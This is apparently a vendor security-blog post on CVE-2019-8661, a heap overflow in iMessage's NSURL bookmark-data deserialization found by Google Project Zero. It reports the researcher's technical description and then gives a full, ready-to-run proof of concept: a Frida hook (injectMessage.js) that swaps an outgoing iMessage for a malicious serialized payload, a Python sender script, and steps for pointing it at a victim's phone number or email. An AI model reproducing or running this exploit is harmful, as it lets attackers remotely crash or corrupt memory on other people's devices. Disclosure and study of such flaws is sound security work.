A security vulnerability has been found in Apple’s chat program iMessage

Summary:

A security researcher by the name of Natalie Silvanovich

who is part of Google’s Project zero team has found

a vulnerability affecting iMessage that lets the malicious third party form a malicious message that crashes the receivers device.

The vulnerability has been reserved the CVE CVE-2019-8661

The vulnerability exploits the unsafe function strcat_chk

that is being used in MacOSX’s CarbonCore framework via its ALI_Get_UTF8Path

The author describes the vulnerability as the following:

There is a heap overflow in [NSURL initWithCoder:] that can be

reached via iMessage and likely other paths.

When an NSURL is deserialized, one property its

plist can contain is NS.minimalBookmarkData, which is

then used as a parameter for [NSURL URLByResolvingBookmarkData:options:relativeToURL:bookmarkDataIsStale:error:].

This method uses a wide variety of code to parse the provided bookmark data.

On a Mac, if the data is a pre-2012 alias file, it will

be processed using the FSResolveAliasWithMountFlags function

in the CarbonCore framework.

This function can eventually call ALI_GetUTF8Path,

which has an unsafe call to strcat_chk, leading to memory corruption.

Proof of concept

A python script has been written to demonstrate how this could be exploited using the python framework frida

Steps

First step install the python frame work frida with python’s package manager pip

Second step Edit sendMessage.py and add the receivers email or phone number

Third step Edit the injectMessage.js file and define the path of the obj file.

the obj file you will find in the link to the archive file on Packetstorm Security.

Last step Run the sendMessage.py script: python sendMessage.py

Scripts

injectMessage.js

// Whether the serialized outgoing message should be replaced entirely. var replaceSerializedMessage = false; // Create the replacement data. var dataLen = 0x100; var rawData = new Uint8Array(dataLen); for (var i = 0; i < dataLen; i++) rawData[i] = 0x41; var buffer = Memory.alloc(dataLen); buffer.writeByteArray(rawData.buffer); var replacementData = ObjC.classes.NSData.dataWithBytes_length_(buffer, dataLen); // Hook the message serialization routine. var jw_encode_dictionary_addr = Module.getExportByName(null, "JWEncodeDictionary"); send("Hooking JWEncodeDictionary" + jw_encode_dictionary_addr); Interceptor.attach(jw_encode_dictionary_addr, { onEnter: function(args) { var dict = ObjC.Object(args[0]); if (dict == null) { return; } send(dict.toString()) var t = dict.objectForKey_("t") if (t == null) { return; } if (t == "REPLACEME") { var newDict = ObjC.classes.NSMutableDictionary.dictionaryWithCapacity_(dict.count()); console.log("here"); var d = ObjC.classes.NSData.dataWithContentsOfFile_("PATH/obj"); console.log(d); var n = ObjC.classes.NSNumber.numberWithInt_(0x77777); var a = ObjC.classes.NSMutableArray.arrayWithObject_("mailto:asdf@gmail.com"); a.addObject_("tel:+16508805555"); newDict.setObject_forKey_("com.apple.messages.MSMessageExtensionBalloonPlugin.com.apple.PassbookUIService.PeerPaymentMessagesExtension", "bid"); newDict.setObject_forKey_(a, "p"); newDict.setObject_forKey_(d, "bp"); newDict.setObject_forKey_("B1A83E5A-F365-4715-9960-B9C53F8AE987", "gid"); newDict.setObject_forKey_(8, "gv"); newDict.setObject_forKey_(0, "p"); newDict.setObject_forKey_("D5C6AEB7-FBD8-41AA-89CD-F8129C4261B1", "r"); newDict.setObject_forKey_(1, "v"); args[0] = newDict.handle; send("DONE"); } }, onLeave: function(retval) { if (replaceSerializedMessage) { console.log("replacing") retval.replace(replacementData); replaceSerializedMessage = false; } } });

sendMessage.py

import frida import sys import subprocess import time # define the recievers email or phone number receiver = "YOUR EMAIL" exit = False def on_message(message, data): global exit if message['type'] == 'send': payload = message['payload'] if payload == "DONE": print("done") exit = True return else: print(message) session = frida.attach("imagent") code = open('injectMessage.js', 'r').read() script = session.create_script(code); script.on("message", on_message) script.load() # Send a message through apple script. Our hook will detect it and replace it before sending. subprocess.call(["osascript", "sendMessage.applescript", receiver, "REPLACEME"]) while not exit: time.sleep(0.1)

The same author is also behind CVE-2019-8646 which

can be used to remotely steal files from a targets device throw iMessage.

External links:

Packetstorm Security Mirror of the vulnerability

Frida

Natalie Silvanovich website

Google project zero CVE-2019-8646 video

Stay up to date with Vulnerability Management and build cool things with our API